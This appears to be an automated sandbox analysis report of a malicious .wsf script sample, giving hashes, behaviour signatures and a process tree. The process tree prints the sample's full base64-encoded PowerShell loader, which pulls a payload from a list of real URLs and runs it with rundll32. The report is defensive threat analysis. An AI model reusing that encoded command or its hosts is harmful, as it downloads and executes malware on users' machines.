b06c41933fa4b9c71162ad29e56e82080516ab594a2071a67b82af071da38249

Analysis

max time kernel
52s
max time network
30s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
11/04/2023, 23:52

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General

Target

SX_April.11(82046).wsf
Size

200KB
MD5

a8c1462f4cd9447e107313230a6b2e70
SHA1

a3be35d55d23ffca1a7ec95fc2d59173884b7ede
SHA256

314a563c82382bf33f0ef0f90f481c2e742a710f678872732d59a57658816d03
SHA512

0ec329ee2ac0b48883750cfd61fcd8dea320f48d2988d94ac2ba7e655f994b6fc3f754e6336c78de12aa595948a06e08ff0ab71f8470ce175e47995a2e6ef37a
SSDEEP

6144:/WGVBHfU/OQ0HGNx1YL+SNj5tj86M4B3on1TuIFRBNE9HdjUNFP:pvHf+d48Yp8iBQ1PK9HdjQ

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
932	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	932	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1136 wrote to memory of 932	1136	WScript.exe	28
PID 1136 wrote to memory of 932	1136	WScript.exe	28
PID 1136 wrote to memory of 932	1136	WScript.exe	28

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SX_April.11(82046).wsf"
1⤵
- Suspicious use of WriteProcessMemory
PID:1136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQAZABlAG0AZQBuAHQAaABvAGwAaQB6AGUASAB5AGIAcgBpAGQAaQB6AGUAcwAgAD0AIAAoACIAaAB0AHQAcABzADoALwAvAGMAaQBlAG4AdABpAGYAaQBjAGEAZwByAG8AdQBwAC4AYwBvAG0ALwBBAFIAdgBEAGkARQAvADYAaABYADcANwB5AEMAdgBIAEoAbwAsAGgAdAB0AHAAcwA6AC8ALwBpAGwAdQBtAGkAbgBhAHIAZQBvAGQAbwBuAHQAbwAuAGMAbwBtAC4AYgByAC8AOABLADMASQBBAC8ASwBkADkARwAwAFYANQBEAHMALABoAHQAdABwAHMAOgAvAC8AbgBvAG0AYQBkAGwAbwB2AGUALgBjAG8AbQAuAGIAcgAvAFYAUgA4AGYALwBxAHgAdQBpAFkATAB6AEcARgBXAGgAcwAsAGgAdAB0AHAAcwA6AC8ALwBpAGEAbgBqAGUAcwB1AHMAYwByAC4AbwByAGcALwAzAG4AUwBuAC8AUQBXADcAMABqAEIAMQBEAFIASwBzACwAaAB0AHQAcABzADoALwAvAGQAaQBhAGIAZQBmAGwAaQB4AC4AYwBsAHUAYgAvAFEANgBwAHkALwBRAEgATwBNAEMAeQBqAEIANQAsAGgAdAB0AHAAcwA6AC8ALwBtAGUAZABpAGMAYQBpAG4AdABsAC4AYwBvAG0ALwBDAG0AeQBIAC8AQQBaAEIAVwBTAEUANwBmAEkAWgBnAG4ALABoAHQAdABwAHMAOgAvAC8AaQBuAHMAdABpAHQAdQB0AG8AZQBrAGIAYQBsAGwAbwAuAG8AcgBnAC8ARAB1AFoAagBOAC8AZQBBAGEAdgBTAEkARgBaAHkAWQAxACwAaAB0AHQAcABzADoALwAvAGMAbwBuAGUAYwB0AGEAYgByAGEAegBpAGwAbgBlAHcAYgBhAG4AawAuAGMAbwBtAC8AdgB5AHgAQgAvAFkARgBEAGoAWQB0AEwAbwA3AGoAUgBRACwAaAB0AHQAcABzADoALwAvAGEAbABrAGEAbgBhAHIAaQBhAC0AdQBhAGUALgBjAG8AbQAvADMAaQB2AC8ASQByAGwAMwA4AEwAVwBLAHoARABMACwAaAB0AHQAcABzADoALwAvAGIAcwBkAHQAcgBlAGUAaQBuAGMALgBjAG8AbQAvADUARABZAC8ASQBMAE8ARwB3AHAAUwBjAGUAOAB4ACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAHAAaQBsAG8AdABhAGcAZQBzAFMAZQBtAGkAcgBlAGwAaQBnAGkAbwB1AHMAIABpAG4AIAAkAGQAZQBtAGUAbgB0AGgAbwBsAGkAegBlAEgAeQBiAHIAaQBkAGkAegBlAHMAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAHAAaQBsAG8AdABhAGcAZQBzAFMAZQBtAGkAcgBlAGwAaQBnAGkAbwB1AHMAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAAxADUAIAAtAE8AIAAkAGUAbgB2ADoAVABFAE0AUABcAEMAZQByAGEAcgBnAHkAcgBpAHQAZQAuAEkAbgB0AG8AbgBhAHQAaQBvAG4AYQBsADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAZQBuAHYAOgBUAEUATQBQAFwAQwBlAHIAYQByAGcAeQByAGkAdABlAC4ASQBuAHQAbwBuAGEAdABpAG8AbgBhAGwAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIAIAAkAGUAbgB2ADoAVABFAE0AUABcAFwAQwBlAHIAYQByAGcAeQByAGkAdABlAC4ASQBuAHQAbwBuAGEAdABpAG8AbgBhAGwALABOAGkAawBuADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7AH0AfQA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:932

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/932-58-0x000000001B330000-0x000000001B612000-memory.dmp

Filesize
2.9MB

Download
memory/932-59-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/932-60-0x0000000002770000-0x00000000027F0000-memory.dmp

Filesize
512KB

Download
memory/932-61-0x0000000002770000-0x00000000027F0000-memory.dmp

Filesize
512KB

Download
memory/932-62-0x0000000002770000-0x00000000027F0000-memory.dmp

Filesize
512KB

Download
memory/932-64-0x0000000002770000-0x00000000027F0000-memory.dmp

Filesize
512KB

Download
memory/932-65-0x0000000002770000-0x00000000027F0000-memory.dmp

Filesize
512KB

Download
memory/932-63-0x0000000002770000-0x00000000027F0000-memory.dmp

Filesize
512KB

Download
memory/932-66-0x0000000002770000-0x00000000027F0000-memory.dmp

Filesize
512KB

Download